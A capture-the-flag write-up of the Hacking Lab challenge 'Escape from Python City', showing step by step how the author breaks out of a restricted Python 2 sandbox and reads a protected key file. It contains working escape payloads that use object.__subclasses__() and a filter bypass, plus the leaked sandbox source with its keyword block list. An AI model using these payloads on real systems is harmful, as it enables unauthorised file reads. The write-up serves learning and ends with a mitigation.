5138 - Escape from Python City

Hacking Lab19231

Challenge

I connect to the server and am presented with the following message:

Can you read the key.txt?

I type in ls and am presented with the following:

x= ls
Exception:  name 'ls' is not defined
Exception:  'NoneType' object has no attribute 'group'

I am in a python sandbox and must escape or read the key.txt file somehow. I try to simply type in sh and get the following message:

Good try, but not allowed :-)

I notice the exception and figure I am in a try block. So I try to escape any outer loops using continue and break but these both fail. I shortly realise I am assigning some value to x but I can use ; to run multiple commands.

I try to run: 1;print 'test' which sets x to 1 and prints 'test'. This however fails because I realise I cannot use spaces! Going back to the exception I am getting, I see group is being used so my initial reaction is to use regular expressions so the exception does not happen (as the x object will have a .group() attribute).

I try to feed in: re.match(r'(.*)','test')
However, re is not defined! I can't import it in the regular way as that involves a space, I try to use __import__('re') but it is not defined. I also try to run reload(__builtins__) to try and reload the import definition but reload is not defined either.

At this stage I try various things, one being to check to see what variables are defined in the function, I run 1;print(globals()) and get:

{'a': None, 'search': <function search at 0xb7433f44>, 'e': AttributeError("'Non                  eType' object has no attribute 'group'",), '__builtins__': <module '__builtin__'                   (built-in)>, '__file__': './level1.py', 'securized': <function securized at 0xb                  741dd14>, '__package__': None, 'x': 1, '__name__': '__main__', '__doc__': None}

This tells me I have an a variable as well as an e exception variable! I experiment a little and discover my a variable is actually evaluated before the group() exception is raised. So this allows me to do various things (I experiment a lot at this stage). I notice that file is not defined but object is! I'm going to use object to find the offset of the file subclass.

First I run a short test on my local machine:

counter = 0
for i in object.__subclasses__():
  if i == file:
    print counter
  
  counter += 1

It tells me the offset is at 40 but this is obviously different for the remote machine. I eventually find that file is at offset 58 on the remote machine (trial and error).

I can now try to call file with the path of key.txt as the argument and I will attempt to call read() on the object which should allow me to read the file.

I try the following (setting a to what I want to be evaluated):

a=object.__subclasses__()[58]("./key.txt").read()

Unfortunately, the remote host instantly terminated the connection. This is because I used the phrase key.txt. I use a bit of trickery here and try the following instead:

a=object.__subclasses__()[58]("./KEY.TXT".lower()).read()

This prints out the key.txt file!

Contents:

key{get_y0ur_pyth0nized_k3y!}

Bonus

Since we leaked the name of the python script before, we can actually leak the python source too.
We run:

a=object.__subclasses__()[58]("./level1.py").read()

And get the source:

#!/usr/bin/env python

# config with socat
# Use socat to run as a listening service
# socat TCP-LISTEN:1337,fork EXEC:./level1.py,pty,stderr

def securized():
        UNSAFE = ['open',
         'file',
         'execfile',
         'compile',
         'reload',
         '__import__',
         'eval',
         'input']
        for func in UNSAFE:
          del __builtins__.__dict__[func]


from re import search
securized()
print 'Can you read the key.txt?'
while True:
    try:
      x = search('\S+', raw_input()).group(0)
      if "key.txt" in x:
       print "Hey ! this is fun, you have to read a key.txt but i avoid this string, padawan :-)"
       exit()
      if "sudo" in x:
       print "Good try, but too dangerous !"
       exit()
      if "sh" in x:
       print "Good try, but not allowed :-)"
       exit()
      print "x=", x
      a = None
      exec 'x=' + x
      print 'you got:', a
    except Exception, e:
      print 'Exception: ', e

Security Questions

1,2,3: See above

4. Explain mitigation (remedy)
The issue here is that I was able to call __subclasses__(). The sandbox needs to undefine this (add it to the UNSAFE list) and block all commands that contain __. With that change the sandbox is much stronger and seemingly unbreakable.


Leave a comment

(required)(will not be published)(required)

Comments

Showing 1 comment from 1 commenter.

  • Display picture for Aziz
    Aziz

    Nice Job!

    Reply